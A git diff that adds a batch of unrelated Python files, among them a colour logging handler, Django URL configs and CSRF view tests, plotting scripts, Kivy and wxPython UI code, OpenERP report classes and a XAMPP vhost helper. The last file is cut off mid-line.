@property + def is_tty(self): + """ Check if we are using a "real" TTY. If we are not using a TTY it means that + the colour output should be disabled. + + :return: Using a TTY status + :rtype: bool + """ + try: return getattr(self.stream, 'isatty', None)() + except: return False + + def emit(self, record): + try: + message = self.format(record) + + if not self.is_tty: + self.stream.write(message) + else: + self.stream.write(self.colours[record.levelname] + message + Style.RESET_ALL) + self.stream.write(getattr(self, 'terminator', '\n')) + self.flush() + except (KeyboardInterrupt, SystemExit): + raise + except: + self.handleError(record) + + has_colour = True +except Exception, e: + print "ERRROR: "+str(e) + has_colour = False + +def getLogger(name=None, fmt='[%(processName)s/%(filename)s:%(lineno)s/%(levelname)s] %(relativeCreated)d: %(message)s'): + """ Get and initialize a colourised logging instance if the system supports + it as defined by the log.has_colour + + :param name: Name of the logger + :type name: str + :param fmt: Message format to use + :type fmt: str + :return: Logger instance + :rtype: Logger + """ + + log = realGetLogger(name) + if not len(log.handlers): + # Only enable colour if support was loaded properly + handler = ColourStreamHandler() if has_colour else StreamHandler() + handler.setLevel(DEBUG) + handler.setFormatter(Formatter(fmt)) + log.addHandler(handler) + log.setLevel(DEBUG) + log.propagate = False + return log diff --git a/pool/shard008/Python/0078847_spidermonkify.py b/pool/shard008/Python/0078847_spidermonkify.py new file mode 100644 index 0000000000000000000000000000000000000000..b199faafc2be2860b116118b520b52cc389998b5 --- /dev/null +++ b/pool/shard008/Python/0078847_spidermonkify.py @@ -0,0 +1,69 @@ +#! /usr/bin/env python + +# Copyright 2016 WebAssembly Community Group participants +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +''' +A bunch of hackish fixups for testing of SpiderMonkey support. We should +get rid of these ASAP. + +This is meant to be run using BINARYEN_SCRIPTS in emcc, and not standalone. +''' + +import os +import shutil +import subprocess +import sys + +import emscripten + +binaryen_root = os.path.abspath(os.path.dirname(os.path.dirname(__file__))) + +js_target = sys.argv[1] +wast_target = sys.argv[2] + +wasm_target = wast_target[:-5] + '.wasm' + +base_wast_target = os.path.basename(wast_target) +base_wasm_target = os.path.basename(wasm_target) + + +def fix(js, before, after): + assert js.count(before) == 1 + return js.replace(before, after) + +# fix up js +js = open(js_target).read() +# use the wasm, not wast +js = js.replace('"' + base_wast_target + '"', '"' + base_wasm_target + '"') +js = js.replace("'" + base_wast_target + "'", "'" + base_wasm_target + "'") +open(js_target, 'w').write(js) +shutil.copyfile(wast_target + '.mappedGlobals', wasm_target + '.mappedGlobals') + +# convert to binary using spidermonkey +''' +using something like +mozjs -e 'os.file.writeTypedArrayToFile("moz.wasm", +new Uint8Array(wasmTextToBinary(os.file.readFile("test/hello_world.wast"))))' +investigate with +>>> map(chr, map(ord, open('moz.wasm').read())) +or +python -c "print str(map(chr,map(ord, + open('a.out.wasm').read()))).replace(',', '\n')" +''' +subprocess.check_call( + emscripten.shared.SPIDERMONKEY_ENGINE + + ['-e', 'os.file.writeTypedArrayToFile("' + wasm_target + + '", new Uint8Array(wasmTextToBinary(os.file.readFile("' + + wast_target + '"))))']) diff --git a/pool/shard008/Python/0078851_urls.py b/pool/shard008/Python/0078851_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..51bd9ea70ec61adfeda88c774959e4c303dabf75 --- /dev/null +++ b/pool/shard008/Python/0078851_urls.py @@ -0,0 +1,19 @@ +from django.conf.urls.defaults import * +from django.contrib import admin +from django.conf import settings + +admin.autodiscover() +urlpatterns = patterns('', + (r'^admin/(.*)', admin.site.root), + (r'^', include('blangoblog.blango.urls')), +) + +handler500 = 'blango.views.server_error' +handler404 = 'blango.views.page_not_found' + +if settings.DEBUG: + from os.path import abspath, dirname, join + PROJECT_DIR = dirname(abspath(__file__)) + urlpatterns += patterns('', + (r'^%s(?P.*)$' % settings.MEDIA_URL[1:], 'django.views.static.serve', {'document_root': join(PROJECT_DIR, 'media')}), + ) diff --git a/pool/shard008/Python/0078855_medianfilter.py b/pool/shard008/Python/0078855_medianfilter.py new file mode 100644 index 0000000000000000000000000000000000000000..558e54dfbacd0906864995145a2b45860b286e3a --- /dev/null +++ b/pool/shard008/Python/0078855_medianfilter.py @@ -0,0 +1,24 @@ +import matplotlib.pyplot as plt +import pandas as pd +import sys + + +acc = pd.read_csv(sys.argv[1], sep='\t', index_col=0) +acc['X_filtered'] = pd.rolling_median(acc['X'], 3) +acc['freno'] = (acc['X'] - acc['X_filtered']) < -60 + +plt.figure(1) +sensorplot = plt.subplot(311) +plt.plot( + acc.index / 1000, acc['X'], + # acc.index / 1000, acc['Y'], + # acc.index / 1000, acc['Z'], + linewidth=2) + +plt.subplot(312, sharex=sensorplot) +plt.plot(acc.index / 1000, acc['X'] - acc['X_filtered'], linewidth=2, color='#00ff00') + +plt.subplot(313, sharex=sensorplot) +plt.plot(acc.index / 1000, acc['freno'], linewidth=2, color='#ff0000') + +plt.show() diff --git a/pool/shard008/Python/0078856_user_resource_permission.py b/pool/shard008/Python/0078856_user_resource_permission.py new file mode 100644 index 0000000000000000000000000000000000000000..42f2ea8469e429660f47967a0543c920285deb63 --- /dev/null +++ b/pool/shard008/Python/0078856_user_resource_permission.py @@ -0,0 +1,44 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from ziggurat_foundations.models.base import get_db_session +from ziggurat_foundations.models.services import BaseService + +__all__ = ["UserResourcePermissionService"] + + +class UserResourcePermissionService(BaseService): + @classmethod + def get(cls, user_id, resource_id, perm_name, db_session=None): + """ + Fetch row using primary key - + will use existing object in session if already present + + :param user_id: + :param resource_id: + :param perm_name: + :param db_session: + :return: + """ + db_session = get_db_session(db_session) + return db_session.query(cls.model).get([user_id, resource_id, perm_name]) + + @classmethod + def by_resource_user_and_perm( + cls, user_id, perm_name, resource_id, db_session=None + ): + """ + return all instances by user name, perm name and resource id + + :param user_id: + :param perm_name: + :param resource_id: + :param db_session: + :return: + """ + db_session = get_db_session(db_session) + + query = db_session.query(cls.model).filter(cls.model.user_id == user_id) + query = query.filter(cls.model.resource_id == resource_id) + query = query.filter(cls.model.perm_name == perm_name) + return query.first() diff --git a/pool/shard008/Python/0078857_flatbutton.py b/pool/shard008/Python/0078857_flatbutton.py new file mode 100644 index 0000000000000000000000000000000000000000..b843140d487df09da9be2671f9b70d870c133591 --- /dev/null +++ b/pool/shard008/Python/0078857_flatbutton.py @@ -0,0 +1,35 @@ + +from kivy.uix.anchorlayout import AnchorLayout +from kivy.properties import (ListProperty, StringProperty, NumericProperty, + BooleanProperty) + +from flat_kivy.uix.behaviors import (GrabBehavior, ThemeBehavior, LogBehavior, + TouchRippleBehavior, ButtonBehavior) +from flat_kivy.uix.styles import RaisedStyle + + +class FlatButtonBase(GrabBehavior, LogBehavior, TouchRippleBehavior, + ThemeBehavior): + color = ListProperty([1., 1., 1.]) + color_down = ListProperty([.7, .7, .7]) + border_size = ListProperty([0, 0, 0, 0]) + text = StringProperty('') + alpha = NumericProperty(1.0) + style = StringProperty(None, allownone=True) + color_tuple = ListProperty(['Grey', '500']) + font_color_tuple = ListProperty(['Grey', '1000']) + ripple_color_tuple = ListProperty(['Grey', '1000']) + font_ramp_tuple = ListProperty(None) + font_size = NumericProperty(12) + eat_touch = BooleanProperty(False) + + def on_color(self, instance, value): + self.color_down = [x*.7 for x in value] + + +class FlatButton(FlatButtonBase, ButtonBehavior, AnchorLayout): + pass + + +class RaisedFlatButton(RaisedStyle, FlatButton): + pass diff --git a/pool/shard008/Python/0078858_test_csrf.py b/pool/shard008/Python/0078858_test_csrf.py new file mode 100644 index 0000000000000000000000000000000000000000..4c20cb897d22517c56e19b27e8810d5bed331ed6 --- /dev/null +++ b/pool/shard008/Python/0078858_test_csrf.py @@ -0,0 +1,109 @@ +from django.template import TemplateDoesNotExist +from django.test import ( + Client, RequestFactory, SimpleTestCase, override_settings, +) +from django.utils.translation import override +from django.views.csrf import CSRF_FAILURE_TEMPLATE_NAME, csrf_failure + + +@override_settings(ROOT_URLCONF='view_tests.urls') +class CsrfViewTests(SimpleTestCase): + + def setUp(self): + super().setUp() + self.client = Client(enforce_csrf_checks=True) + + @override_settings( + USE_I18N=True, + MIDDLEWARE=[ + 'django.middleware.locale.LocaleMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + ], + ) + def test_translation(self): + """An invalid request is rejected with a localized error message.""" + response = self.client.post('/') + self.assertContains(response, 'Forbidden', status_code=403) + self.assertContains(response, 'CSRF verification failed. Request aborted.', status_code=403) + + with self.settings(LANGUAGE_CODE='nl'), override('en-us'): + response = self.client.post('/') + self.assertContains(response, 'Verboden', status_code=403) + self.assertContains(response, 'CSRF-verificatie mislukt. Verzoek afgebroken.', status_code=403) + + @override_settings( + SECURE_PROXY_SSL_HEADER=('HTTP_X_FORWARDED_PROTO', 'https') + ) + def test_no_referer(self): + """ + Referer header is strictly checked for POST over HTTPS. Trigger the + exception by sending an incorrect referer. + """ + response = self.client.post('/', HTTP_X_FORWARDED_PROTO='https') + self.assertContains( + response, + 'You are seeing this message because this HTTPS site requires a ' + ''Referer header' to be sent by your Web browser, but ' + 'none was sent.', + status_code=403, + ) + self.assertContains( + response, + 'If you have configured your browser to disable 'Referer' ' + 'headers, please re-enable them, at least for this site, or for ' + 'HTTPS connections, or for 'same-origin' requests.', + status_code=403, + ) + self.assertContains( + response, + 'If you are using the <meta name="referrer" ' + 'content="no-referrer"> tag or including the ' + ''Referrer-Policy: no-referrer' header, please remove them.', + status_code=403, + ) + + def test_no_cookies(self): + """ + The CSRF cookie is checked for POST. Failure to send this cookie should + provide a nice error message. + """ + response = self.client.post('/') + self.assertContains( + response, + 'You are seeing this message because this site requires a CSRF ' + 'cookie when submitting forms. This cookie is required for ' + 'security reasons, to ensure that your browser is not being ' + 'hijacked by third parties.', + status_code=403, + ) + + @override_settings(TEMPLATES=[]) + def test_no_django_template_engine(self): + """ + The CSRF view doesn't depend on the TEMPLATES configuration (#24388). + """ + response = self.client.post('/') + self.assertContains(response, 'Forbidden', status_code=403) + + @override_settings(TEMPLATES=[{ + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'OPTIONS': { + 'loaders': [ + ('django.template.loaders.locmem.Loader', { + CSRF_FAILURE_TEMPLATE_NAME: 'Test template for CSRF failure' + }), + ], + }, + }]) + def test_custom_template(self): + """A custom CSRF_FAILURE_TEMPLATE_NAME is used.""" + response = self.client.post('/') + self.assertContains(response, 'Test template for CSRF failure', status_code=403) + + def test_custom_template_does_not_exist(self): + """An exception is raised if a nonexistent template is supplied.""" + factory = RequestFactory() + request = factory.post('/') + with self.assertRaises(TemplateDoesNotExist): + csrf_failure(request, template_name='nonexistent.html') diff --git a/pool/shard008/Python/0078859_GED.py b/pool/shard008/Python/0078859_GED.py new file mode 100644 index 0000000000000000000000000000000000000000..30efa4335496d98ba63491b89384434b0de80f98 --- /dev/null +++ b/pool/shard008/Python/0078859_GED.py @@ -0,0 +1,37 @@ + +""" +One method is to use what is called Eigenvector Similarity. +Basically, you calculate the Laplacian eigenvalues for the +adjacency matrices of each of the graphs. For each graph, +find the smallest k such that the sum of the k largest +eigenvalues constitutes at least 90% of the sum of all +of the eigenvalues. If the values of k are different between +the two graphs, then use the smaller one. The similarity +metric is then the sum of the squared differences between +the largest k eigenvalues between the graphs. This will +produce a similarity metric in the range [0, ∞), where +values closer to zero are more similar. +""" + +import networkx as nx + +def select_k(spectrum, minimum_energy = 0.9): + running_total = 0.0 + total = sum(spectrum) + if total == 0.0: + return len(spectrum) + for i in range(len(spectrum)): + running_total += spectrum[i] + if running_total / total >= minimum_energy: + return i + 1 + return len(spectrum) + +laplacian1 = nx.spectrum.laplacian_spectrum(graph1) +laplacian2 = nx.spectrum.laplacian_spectrum(graph2) + +k1 = select_k(laplacian1) +k2 = select_k(laplacian2) +k = min(k1, k2) + +similarity = sum((laplacian1[:k] - laplacian2[:k])**2) + diff --git a/pool/shard008/Python/0078869_checks.py b/pool/shard008/Python/0078869_checks.py new file mode 100644 index 0000000000000000000000000000000000000000..a01181a60005e1023e5740988b173b6a471011b0 --- /dev/null +++ b/pool/shard008/Python/0078869_checks.py @@ -0,0 +1,78 @@ +from django.core.checks import register, Error + +from apification.utils.discover import discover_tree +from apification.nodes import ApiNode +from apification.actions import Action +from apification.serializers import Serializer + +def fetch_actions_under(node): + ret = [] + for subnode in node.iter_class_children(): + if issubclass(subnode, Action): + ret.append(subnode) + else: + ret.extend(fetch_actions_under(subnode)) + return ret + + + +@register() +def all_checks(app_configs, **kwargs): + errors = [] + for root in discover_tree(): + actions = fetch_actions_under(root) + errors.extend(check_type(root)) + errors.extend(check_actions_are_leafs(actions)) + errors.extend(check_no_action_without_serializer(actions)) + return errors + + +def check_type(root): + errors = [] + if not issubclass(root, ApiNode): + errors.append( + Error( + 'Node %s is not ApiNode subclass' % root, + # hint='A hint.', + obj=root, + id='apification.E001', + ) + ) + return errors + + +def check_actions_are_leafs(actions): # FIXME: Do we realy need root here? + errors = [] + + for action in actions: + if tuple(action.iter_class_children()): # if at least one child + children = map(str, action.iter_class_children()) + errors.append( + Error( + 'Action must have no child nodes, but it have these children: %s' % ', '.join(children), + # hint='A hint.', + obj=action, + id='apification.E002', + ) + ) + return errors + + +def check_no_action_without_serializer(actions): + errors = [] + without_serializers = [] + for action in actions: + if not isinstance(action.serializer, type) or not issubclass(action.serializer, Serializer): + without_serializers.append(str(action)) + + if without_serializers: + errors.append( + Error( + 'These Actions have no suitable serializers: %s' % ', '.join(without_serializers), + # hint='A hint.', + obj=action.parent_class, + id='apification.E003', + ) + ) + return errors + \ No newline at end of file diff --git a/pool/shard008/Python/0078871_handlers.py b/pool/shard008/Python/0078871_handlers.py new file mode 100644 index 0000000000000000000000000000000000000000..d3b70f8bf52a1ea98dd17d2b7660b0e40ed630ec --- /dev/null +++ b/pool/shard008/Python/0078871_handlers.py @@ -0,0 +1,40 @@ +import json +import webapp2 +from webapp2_extras.routes import RedirectRoute + +from checker import processing + + +class MainHandler(webapp2.RequestHandler): + def get(self, url=None): + processor = processing.Processor(url) + license = processor.get_license() + self.response.headers['Content-Type'] = 'application/json' + self.response.out.write(json.dumps(license)) + +routes = [ + RedirectRoute( + '/check/', + MainHandler, + name='home', + strict_slash=True + ), +] + +try: + with open('secret_key') as key_f: + key = key_f.read() +except: + raise Exception('Run generate_secret_key.sh') + +webapp2_config = { + 'webapp2_extras.sessions': { + 'secret_key': key + }, +} + +application = webapp2.WSGIApplication( + debug=True, # TODO: detect + config=webapp2_config, + routes=routes +) diff --git a/pool/shard008/Python/0078878_rpt_base.py b/pool/shard008/Python/0078878_rpt_base.py new file mode 100644 index 0000000000000000000000000000000000000000..121c0ec62de6e01b3954be23965ac60d97b39aad --- /dev/null +++ b/pool/shard008/Python/0078878_rpt_base.py @@ -0,0 +1,112 @@ +# -*- coding: utf-8 -*- +############################################################################## +# +# OpenERP, Open Source Management Solution +# Copyright (C) 2004-2010 Tiny SPRL (). +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################## + +import time +from lxml import etree + +from openerp.osv import fields, osv +from openerp.tools.translate import _ +''' +Report base class, the sub class need todo: +1.Add the default value for the 'type' field +2.Add the search fields that the report need +3.Defined the view xml based on the new class +4.define method run_%type% to report the report line data +5.define _pdf_data() method to return the report name in xml +''' +class rpt_base(osv.osv_memory): + _name = "rpt.base" + _description = "Base Report" + _columns = { + 'name': fields.char('Report Name', size=16, required=False), + 'title': fields.char('Report Title', required=False), + 'type': fields.char('Report Type', size=16, required=True), + 'company_id': fields.many2one('res.company','Company',required=True,), + #report data lines + 'rpt_lines': fields.one2many('rpt.base.line', 'rpt_id', string='Report Lines'), + #show/hide search fields on GUI + 'show_search': fields.boolean('Show Searching', ), + #show/hide search result + 'show_result': fields.boolean('Show Result', ), + #show/hide search result + 'save_pdf': fields.boolean('Can Save PDF', ), + } + + _defaults = { + 'company_id': lambda self,cr,uid,c: self.pool.get('res.company')._company_default_get(cr, uid, 'account.rptcn', context=c), + 'show_search': True, + 'show_result': False, + 'save_pdf': False, + } + def default_get(self, cr, uid, fields_list, context=None): + resu = super(rpt_base,self).default_get(cr, uid, fields_list, context) + #set default title by i18n + if context.get('default_title',False): + resu['title'] = _(context.get('default_title')) + return resu + def run_report(self, cr, uid, ids, context=None): + rpt = self.browse(cr, uid, ids, context=context)[0] + rpt_method = getattr(self, 'run_%s'%(rpt.type,)) + #get report data + rpt_line_obj, rpt_lns = rpt_method(cr, uid, ids, context) + #remove the old lines + unlink_ids = rpt_line_obj.search(cr, uid, [('rpt_id','=',rpt.id)], context=context) + rpt_line_obj.unlink(cr ,uid, unlink_ids, context=context) + #create new lines + for rpt_line in rpt_lns: + rpt_line['rpt_id'] = rpt.id + rpt_line_obj.create(cr ,uid, rpt_line, context=context) + #update GUI elements + self.write(cr, uid, rpt.id, {'show_search':False,'show_result':True,'save_pdf':True},context=context) + return True + + def _pdf_data(self, cr, uid, ids, form_data, context=None): + raise (_('Error!'), _('Not implemented.')) + + def save_pdf(self, cr, uid, ids, context=None): + if context is None: + context = {} + form_data = self.read(cr, uid, ids[0], context=context) + rptxml_name = self._pdf_data(cr, uid, ids[0], form_data, context=context)['xmlrpt_name'] + datas = { + 'model': self._name, + 'ids': [ids[0]], + 'form': form_data, + } + return {'type': 'ir.actions.report.xml', 'report_name': rptxml_name, 'datas': datas, 'nodestroy': True} + +rpt_base() + +class rpt_base_line(osv.osv_memory): + _name = "rpt.base.line" + _description = "Base report line" + _order = 'seq' + _columns = { + 'rpt_id': fields.many2one('rpt.base', 'Report'), + 'seq': fields.integer('Seq', ), + 'code': fields.char('Code', size=64, ), + 'name': fields.char('Name', size=256, ), + 'data_level': fields.char('Data level code', size=64) + } + +rpt_base_line() + +# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: diff --git a/pool/shard008/Python/0078880_lines.py b/pool/shard008/Python/0078880_lines.py new file mode 100644 index 0000000000000000000000000000000000000000..36b9900f9c195ca907d96f080c8b57077051eb3c --- /dev/null +++ b/pool/shard008/Python/0078880_lines.py @@ -0,0 +1,80 @@ +#/usr/bin/env python +from __future__ import division +''' +Created on Feb 16, 2015 + +@author: Christopher Henderson (chris@chenderson.org) +''' + +class NormalizedRational(object): + ''' + This class normalizes a point so that any other point that can land + on the same line hashes to the same value. + + - All points on the x-axis are converted to (0, 1) + - All points on the y-axis are converted to (1, 0) + - The origin remains the origin. + - All other points have their rational reduced. If the point + lies within quadrants III or IV then they are flipped to I or II. + + @param int numerator + @param int denominator + ''' + def __init__(self, numerator, denominator): + x_axis = numerator == 0 and denominator != 0 + y_axis = denominator == 0 and numerator != 0 + origin = numerator == 0 and denominator == 0 + if x_axis: + self.rational = (0, 1) + elif y_axis: + self.rational = (1, 0) + elif origin: + self.rational = (0, 0) + else: + self.rational = self._normalizeRational(numerator, denominator) + + def _normalizeRational(self, numerator, denominator): + #=================================================================== + # Euclid's algorithm for GCD. + # https://en.wikipedia.org/wiki/Euclidean_algorithm + # @TODO research a possibly fast approach. + # @TODO attempt to implement https://en.wikipedia.org/wiki/Sch%C3%B6nhage%E2%80%93Strassen_algorithm + #=================================================================== + GCD = abs(numerator) + tempDenominator = abs(denominator) + temp = 0 + while (tempDenominator > 0): + temp = tempDenominator + tempDenominator = GCD % tempDenominator + GCD = temp + return self._foldQuadrantsIIIandIV(numerator//GCD, denominator//GCD) + + def _foldQuadrantsIIIandIV(self, y, x): + quadrantIII = y < 0 and x < 0 + quadrantIV = y < 0 and x > 0 + if quadrantIII or quadrantIV: + return (y*-1, x*-1) + else: + return (y, x) + + def __eq__(self, other): + if isinstance(other, NormalizedRational): + return self.rational == other.rational + elif isinstance(other, tuple): + return self.rational == other + elif isinstance(other, list) or isinstance(other, set): + return self.rational == tuple(other) + else: + return False + + def __hash__(self): + return hash(self.rational) + +def getNumLines(points): + lines = set() + for point in points: + lines.add(NormalizedRational(point[1], point[0])) + if (0, 0) in lines and len(lines) is not 1: + return len(lines) - 1 + else: + return len(lines) diff --git a/pool/shard008/Python/0078884_test_transaction.py b/pool/shard008/Python/0078884_test_transaction.py new file mode 100644 index 0000000000000000000000000000000000000000..3574f390f36bb9cc6d3cd9d0ed56ee5516ad3cf2 --- /dev/null +++ b/pool/shard008/Python/0078884_test_transaction.py @@ -0,0 +1,25 @@ +# Copyright 2014-2016 Morgan Delahaye-Prat. All Rights Reserved. +# +# Licensed under the Simplified BSD License (the "License"); +# you may not use this file except in compliance with the License. +"""Test transactional features.""" + + +class TestTransaction: + """Test transactional features.""" + + models = 'SQLiteModel', + + def test_rollback(self, model): + """Transaction allow to rollback pending modifications.""" + model('foo').save(commit=False) + model.rollback() + + assert model.count() == 0 + + def test_delete_uncommitted(self, model): + """Transaction allow to delete a saved but uncommitted instance.""" + rv = model('foo').save(commit=False) + rv.delete() # perform a commit inline + + assert model.count() == 0 diff --git a/pool/shard008/Python/0078889_hassourcenoteregexp.py b/pool/shard008/Python/0078889_hassourcenoteregexp.py new file mode 100644 index 0000000000000000000000000000000000000000..0261e935783b452f7d615b4ef70ca31956e7b75f --- /dev/null +++ b/pool/shard008/Python/0078889_hassourcenoteregexp.py @@ -0,0 +1,61 @@ +# +# gPrime - A web-based genealogy program +# +# Copyright (C) 2014 Nick Hall +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +# + +""" +Filter rule to match citations whose source notes contain a substring or +match a regular expression. +""" + +#------------------------------------------------------------------------- +# +# Standard python modules +# +#------------------------------------------------------------------------- +from ....const import LOCALE as glocale +_ = glocale.translation.gettext + +#------------------------------------------------------------------------- +# +# Gprime modules +# +#------------------------------------------------------------------------- +from .._hasnoteregexbase import HasNoteRegexBase + +#------------------------------------------------------------------------- +# +# HasSourceNoteRegexp +# +#------------------------------------------------------------------------- +class HasSourceNoteRegexp(HasNoteRegexBase): + """ + Rule that checks if a citation has a source note that contains a + substring or matches a regular expression. + """ + + name = _('Citations having source notes containing ') + description = _("Matches citations whose source notes contain a substring " + "or match a regular expression") + category = _('Source filters') + + def apply(self, db, citation): + source = db.get_source_from_handle(citation.get_reference_handle()) + if HasNoteRegexBase.apply(self, db, source): + return True + return False diff --git a/pool/shard008/Python/0078897_module1.py b/pool/shard008/Python/0078897_module1.py new file mode 100644 index 0000000000000000000000000000000000000000..93cac6803daba86edb0ad6ed487998f39be30541 --- /dev/null +++ b/pool/shard008/Python/0078897_module1.py @@ -0,0 +1,83 @@ +import numpy as np +import matplotlib.pyplot as plt +import math + + +def getCoords (r, s, t): + rn = r/np.sqrt(r**2+s**2+t**2) + sn = s/np.sqrt(r**2+s**2+t**2) + tn = t/np.sqrt(r**2+s**2+t**2) + if float(tn) < 0: + tn *= (-1) + side = 0 + else: + side = 1 + x = -((-tn*rn)/(-1-tn))+rn + y = -((-tn*sn)/(-1-tn))+sn + return [x,y,side] + +def readfile(str): + file = open(str) + lines = [] + for line in file: + line=line.strip('\n') + lines.append(line) + for i in range(len(lines)): + lines[i] = lines[i].split() + for j in range(3): + lines[i][j] = float(lines[i][j]) + return(lines) + +def plotPoints(matrix): + for i in range(len(matrix)): + coords = getCoords(matrix[i][0], matrix[i][1], matrix[i][2],) + plt.plot(coords[0],coords[1],matrix[i][3]) + +def meridian(angle,col): + if not((angle == 0)or(angle%np.pi < 0.005)): + theta = np.linspace(0, math.pi, 50) + rho = 1 + coords = [] + coordsX = [] + coordsY = [] + for i in range(len(theta)): + Z = rho * np.sin(theta[i]) * np.sin(angle) + X = rho * np.sin(theta[i]) * np.cos(angle) + Y = rho * np.cos(theta[i]) + coords.append([X, Y, Z]) + for i in range(len(coords)): + coordsX.append(getCoords(coords[i][0], coords[i][1], coords[i][2])[0]) + coordsY.append(getCoords(coords[i][0], coords[i][1], coords[i][2])[1]) + plt.plot(coordsX, coordsY, color=col) + +def parallel(angle,col): + angles = [angle] + t2 = np.linspace(0, math.pi, 50) + coords = [] + coordsX = [] + coordsY = [] + for i in range(len(angles)): + y2 = math.tan(angles[i]) + for t in t2: + z2 = np.sin(t) + x2 = np.cos(t) + coords.append(getCoords(x2, y2, z2)) + for i in range(len(coords)): + coordsX.append(coords[i][0]) + coordsY.append(coords[i][1]) + plt.plot(coordsX, coordsY ,color=col) + +def drawGrid(radius=1): + #parallels with 5 deg spacing + for i in np.linspace(0, math.pi, 21): + parallel(i, '0.75') + + #meridians with 5 deg spacing + for i in np.linspace(0, math.pi, 21): + meridian(i, '0.75') + + #draw circle + t = np.linspace(0, 2 * math.pi, 500) + x = radius * np.cos(t) + y = radius * np.sin(t) + plt.plot(x, y, color='k') diff --git a/pool/shard008/Python/0078901_vhost-maker.py b/pool/shard008/Python/0078901_vhost-maker.py new file mode 100644 index 0000000000000000000000000000000000000000..06263dbc891b025fb2682224ea4584a0061a8dac --- /dev/null +++ b/pool/shard008/Python/0078901_vhost-maker.py @@ -0,0 +1,51 @@ +#title : vhost-maker.py +#description : +#author : Lewis Relph +#date : 19/03/17 +#notes : Script creates xampp apache vhost entry and prompts for windows vhost. Designed for laraval +# Use with care and backup before fiddling +#python_version : 3.5.2 +#============================================================================== + +import re +import os +import subprocess + + +def genvhost(project_title): + string = '\n ServerAdmin localhost@localhost\n DocumentRoot "A:/htdocs/laravel/[projecttitle]/public"\n ServerName localhost\n' + value = re.sub(r'\[projecttitle\]', project_title, string) + return value + + +# User Input +project_title = input('Title: ') + + +# Apache Vhost +############################# + +# Open from default path +httpd = open('C:\\xampp\\apache\\conf\\extra\\httpd-vhosts.conf', "a") + +# Write with 2 line spacing +httpd.write('\n\n'+genvhost(project_title)) +httpd.close() + +# Output for user +print('Apache vhost updated') + + +# Windows Vhost +############################## + +# Open explorer at location +subprocess.Popen(r'explorer /select,"C:\Windows\System32\drivers\etc\hosts"') + +# Copy to users clipboard +text = '127.0.0.1 laravel.'+project_title+'.dev' +command = 'echo '+text+'| clip' +os.system(command) + +print('Please append clipboard to selected file and restart apache') +input() diff --git a/pool/shard008/Python/0078903_image_widget.py b/pool/shard008/Python/0078903_image_widget.py new file mode 100644 index 0000000000000000000000000000000000000000..95f71b9da43dafe98a9d2034541c08c7fdf9f57b --- /dev/null +++ b/pool/shard008/Python/0078903_image_widget.py @@ -0,0 +1,154 @@ +#------------------------------------------------------------------------------ +# Copyright (c) 2005, Enthought, Inc. +# All rights reserved. +# +# This software is provided without warranty under the terms of the BSD +# license included in enthought/LICENSE.txt and may be redistributed only +# under the conditions described in the aforementioned license. The license +# is also available online at http://www.enthought.com/licenses/BSD.txt +# Thanks for using Enthought open source! +# +# Author: Enthought, Inc. +# Description: +#------------------------------------------------------------------------------ +""" Application window example. """ + + +# Standard library imports. +import os, sys + +# Put the Enthought library on the Python path. +sys.path.append(os.path.abspath(r'..\..\..')) + +# Major package imports. +import wx +import wx.html +import wx.lib.wxpTag + +# Enthought library imports. +from enthought.pyface.api import ApplicationWindow, GUI, ImageResource, ImageWidget +from enthought.pyface.action.api import Action, MenuManager, MenuBarManager + + +# HTML templates. +HTML = """ + + + + %s + + + +""" + +PART = """""" + +class MainWindow(ApplicationWindow): + """ The main application window. """ + + ########################################################################### + # 'object' interface. + ########################################################################### + + def __init__(self, **traits): + """ Creates a new application window. """ + + # Base class constructor. + super(MainWindow, self).__init__(**traits) + + # Add a menu bar. + self.menu_bar_manager = MenuBarManager( + MenuManager( + Action(name='E&xit', on_perform=self.close), + name = '&File', + ) + ) + + return + + ########################################################################### + # Protected 'Window' interface. + ########################################################################### + + def _create_contents(self, parent): + """ Creates the window contents. + + This method is intended to be overridden if necessary. By default we + just create an empty (and blue!) panel. + + """ + + panel = wx.Panel(parent, -1, style=wx.CLIP_CHILDREN) + sizer = wx.BoxSizer(wx.VERTICAL) + panel.SetSizer(sizer) + panel.SetAutoLayout(True) + + N = 100 + wxid = wx.NewId() + + # Create the HTML. + parts = [] + for i in range(N): + parts.append(PART % str(wxid+i)) + + html = HTML % "".join(parts) + + # Create the HTML window. + html_window = wx.html.HtmlWindow(panel, -1, style=wx.CLIP_CHILDREN) + html_window.SetPage(html) + + # Initialize all embedded wx controls. + for i in range(N): + self._initialize_window(html_window, wxid+i) + + sizer.Add(html_window, 1, wx.EXPAND) + + # Resize the panel to fit the sizer's minimum size. + sizer.Fit(panel) + + return panel + + ########################################################################### + # Private interface. + ########################################################################### + + def _initialize_window(self, parent, wxid): + """ Initialize the window with the specified Id. """ + + window = parent.FindWindowById(wxid) + sizer = wx.BoxSizer(wx.VERTICAL) + window.SetSizer(sizer) + window.SetAutoLayout(True) + + window.SetBackgroundColour('white') + window.SetWindowStyleFlag(wx.CLIP_CHILDREN) + window.Refresh() + image = ImageResource('closed_folder_24x24') + bitmap = 